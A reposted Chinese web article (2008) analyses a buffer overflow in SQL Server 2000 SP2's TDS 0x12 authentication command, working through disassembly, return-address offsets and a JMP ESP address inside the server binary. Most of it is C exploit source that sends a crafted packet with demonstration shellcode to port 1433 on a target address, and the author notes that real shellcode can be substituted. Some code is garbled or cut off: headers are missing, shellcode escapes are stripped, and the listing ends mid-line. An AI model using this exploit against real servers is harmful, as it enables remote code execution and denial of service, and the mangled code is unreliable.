分享
 
 
 

SQLSERVER2000SP212命令的溢出攻击实现

王朝mssql·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

这几天开始用汇编看sql server的代码,发现SQL SERVER的1433 TDS协议中,0X12号命令(请求验证)存在一个溢出问题,在传送最后的MSSQLSERVER后面跟上572个以上的字节会导致溢出,心里一喜,但吸取上次教训,一查,发现8月12这个漏洞已经被公告。哎

但是一看,公告代码只指出溢出,但是未实现溢出,仔细一看,要实现这个溢出还是很麻烦的,涉及到很多问题:

下面是汇编代码分析:

前面接受信息的大致流程:

请求

text:004DE099 call sub_410E22

.text:00410ED3 call dword ptr [eax+14h]

调用ssnetlib的获取异步socket到来的信息

42CF42F2:连接并接收信息

.text:00410ED6 add esp, 18h

处理数据:

42cf719e处调用,下个返回地址应该是42cf71a3,溢出就是要覆盖这个返回地址

溢出产生在:42cf72cf处的strcpy上

但是其中问题存在于:strcpy拷贝的地址离42cf71a3的地址有572个字节,其中存在很多其他变量的指针,如果随便覆盖掉的话,在这个子过程中会继续引用他们,那么就引起访问违例,直接被异常给捕获了,而无法达到执行代码的目的,而其其过程是一个循环执行过程,会导致很复杂的计算。

涉及到的需要继续引用覆盖地址值的代码有:

.text:42CF73D9 mov edx, [ebp+var_4]

.text:42CF73DC add edx, 5

.text:42CF73DF mov [ebp+var_4], edx

.text:42CF7263 mov edx, [ebp+arg_4]

.text:42CF7266 add edx, [ebp+var_4]

.text:42CF7269 xor eax, eax

.text:42CF726B mov al, [edx]

.text:42CF726D mov [ebp+var_14], eax

.text:42CF7270 mov ecx, [ebp+arg_4]

.text:42CF7320 mov [ebp+var_224], ecx

.text:42CF7326 mov edx, [ebp+arg_0]

.text:42CF7329 mov eax, [ebp+var_224]

.text:42CF732F mov ecx, [eax]

可以发现以上值主要是涉及到

要覆盖地址-8

要覆盖地址+4

要覆盖地址+8

要覆盖地址+C

要覆盖地址+10

要覆盖地址+14

这几个地址上,而且主要是写操作

并且要覆盖地址-4会和要覆盖地址+4会进行一次加操作,其操作的地址范围也应该为可读写。

因此很容易想到,用SQL SERVER固定分配的某个数据区的地址取带该区就不会引起异常了。而要覆盖地址-4最好为0xffffffff左右的值,其他地址加上这个值也在一个数据区范围以内,问题就不大要覆盖地址+4,要覆盖地址+8,要覆盖地址+C,要覆盖地址+10,要覆盖地址+14的值要仔细选取,因为JMP ESP跳回来以后正好在从要覆盖地址+4处开始执行,需要其汇编代码不能引起异常和跳转到其他地方去,否则就无法执行我们真正能实现的shellcode了。

另外就是如果shellcode全部放在要覆盖地址+18后执行也有问题,其中可能在同一个过程中会用到其中的值,因此把shellcode最好放在前面,在覆盖地址+18后用少量的代码跳转回去,避免大量覆盖引起异常。

另外就是jmp esp代码的选择,其实不同服务器版本地址不同,但是我想在SQL SERVER代码本身中找更好。只要存在一个ffe4数字就可,不管是不是真的jmp esp代码,这样shellcode可以更简单,也更通用一些,仔细一看,sql server中还真有这个组合,位置在42B0C9DC处。OK,那么主要问题就搞定了

我的环境是:sql server 2000+sp2+最新的补掉sql server udp漏洞的q36几几的。

下面是演示代码,其中没有实现真正的shellcode,而是实现了打印了一行sql hack demo,并且当掉了SQL SERVER服务器,其实只要把其中代码置换成shellcode就可以了,当然需要考虑大小问题,如果放在后面可以不考虑大小,但是可能会引起一些异常,我没仔细调试,放在前面许可的长度大概有500多字节左右,做SHELLCODE也应该足够了。

大家在cmd下运行sqlsvrer可以看到打印出的sql hack demo字符,并且SQL 当掉,如果是服务或管理工具启动,则无法打印sql hack demo,但SQL会当掉,注意此处当掉不是因为异常,而是执行了shellcode的exit导致的。

#include

#include

#include

#include

#include

#include

int main(int argc, char* argv[])

{

WSADATA WSAData;

SOCKET sock;

SOCKADDR_IN addr_in;

unsigned char buf0[48+572]={

0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,

0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,

0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1};

unsigned char buf1[255]={10,9,8,7,6,5,4,3,2,1,0};

char exploit_code[21]= "x83xc4x81x8bxc4x50xffx15xf8xe0xcfx42"

"x33xc0x50xffx15x84xe0xcfx42";

//这个是打印"sql hack demo"并退出sql server的shellcode代码

int i;

int len;

const int SNDBUF = 0;

const int TCPNODELAY = TRUE;

const int BROADCAST = TRUE;

int fo=572; //需要覆盖的返回地址偏移处

if (argc

{

return FALSE;

}

for(i=0x34;i

buf0[i]=0x90;

//示范打印的字符串

buf0[0x34+0x10]=''s'';

buf0[0x34+0x11]=''q'';

buf0[0x34+0x12]=''l'';

buf0[0x34+0x13]='' '';

buf0[0x34+0x14]=''h'';

buf0[0x34+0x15]=''a'';

buf0[0x34+0x16]=''c'';

buf0[0x34+0x17]=''k'';

buf0[0x34+0x18]='' '';

buf0[0x34+0x19]=''d'';

buf0[0x34+0x1a]=''e'';

buf0[0x34+0x1b]=''m'';

buf0[0x34+0x1c]=''o'';

buf0[0x34+0x1d]=''

'';

//防止数据改动引起异常而退出而无法实现有效溢出,因此进行有效修改

buf0[fo-0x8]=0xff;

buf0[fo-0x7]=0xff;

buf0[fo-0x6]=0xff;

buf0[fo-0x5]=0xff;

//42D01CFC 为SQL SERVER固定的数据区域,且其汇编代码不引起问题

buf0[fo+4]=0xfc;

buf0[fo+5]=0x1c;

buf0[fo+6]=0xd0;

buf0[fo+7]=0x42;

//42d01c72 为固定的数据区域才能可写

buf0[fo+8]=0x64;

buf0[fo+9]=0x0d;

buf0[fo+0xa]=0xd0;

buf0[fo+0xb]=0x42;

//42D01CFC 为固定的数据区域才能可写

buf0[fo+0xc]=0xfc;

buf0[fo+0xd]=0x1c;

buf0[fo+0xe]=0xd0;

buf0[fo+0xf]=0x42;

//42d01c72 为固定的数据区域才能可写

buf0[fo+0x10]=0x64;

buf0[fo+0x11]=0x0d;

buf0[fo+0x12]=0xd0;

buf0[fo+0x13]=0x42;

//42d01c72 为固定的数据区域才能可写

buf0[fo+0x14]=0x64;

buf0[fo+0x15]=0x0d;

buf0[fo+0x16]=0xd0;

buf0[fo+0x17]=0x42;

//在溢出了返回地址后,由于其中的N个代码需要返回后跳转、而此处由在子函数中需要处理,因此寻找一个数据地址放入,同时使得其汇编代码不引起访问异常。

//然后下面的几个地址是在此过程中不需要使用的,因此可以大胆修改成我们需要的汇编代码了

//写入跳回去的代码buf0[fo+0xc]=0x42;

buf0[fo+0x18]=0x81;

//ADD ESP,0XFFFFFF92

buf0[fo+0x19]=0x83;

buf0[fo+0x1a]=0xc4;

buf0[fo+0x1b]=0x81;

//ADD ESP,0XFFFFFF92

buf0[fo+0x1C]=0x83;

buf0[fo+0x1D]=0xc4;

buf0[fo+0x1E]=0x81;

//ADD ESP,0XFFFFFF92

buf0[fo+0x1f]=0x83;

buf0[fo+0x20]=0xc4;

buf0[fo+0x21]=0x81;

//JMP ESP

buf0[fo+0x22]=0xff;

buf0[fo+0x23]=0xe4;

//以上代码在溢出返回后执行,由于主要的shellcode防在前面,需要跳转回去

//不直接放在后面的原因在于:覆盖了后面的一些变量,会导致提前出现地址访问异常,导致无法达到执行我们想要代码的目的

memcpy(buf0+fo-8-364,exploit_code,21);

//拷贝SHELLCODE

//FFE4=JMP ESP

//设置溢出地址的值,42B0C9DC是SQL SERVER本身代码有的FFE4地方

buf0[fo]=0xDC;

buf0[fo+1]=0xC9;

buf0[fo+2]=0xB0;

buf0[fo+3]=0x42;

//需要找到JMP ESP的代码,然而这个是随版本变化的,所以干脆在SQL SERVER程序中找,只要组合成这个就可

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)

{

printf("WSAStartup error.Error:%d

",WSAGetLastError());

return FALSE;

}

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

{

printf("Socket failed.Error:%d

",WSAGetLastError());

return FALSE;

}

addr_in.sin_family=AF_INET;

addr_in.sin_port=htons(1433);

addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

buf0[1]=1;

if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)

{

printf("Connect failed.Error:%d",WSAGetLastError());

return FALSE;

}

if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)

{

printf("Send failed.Error:%d

",WSAGetLastError());

return FALSE;

}

len=recv(so

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有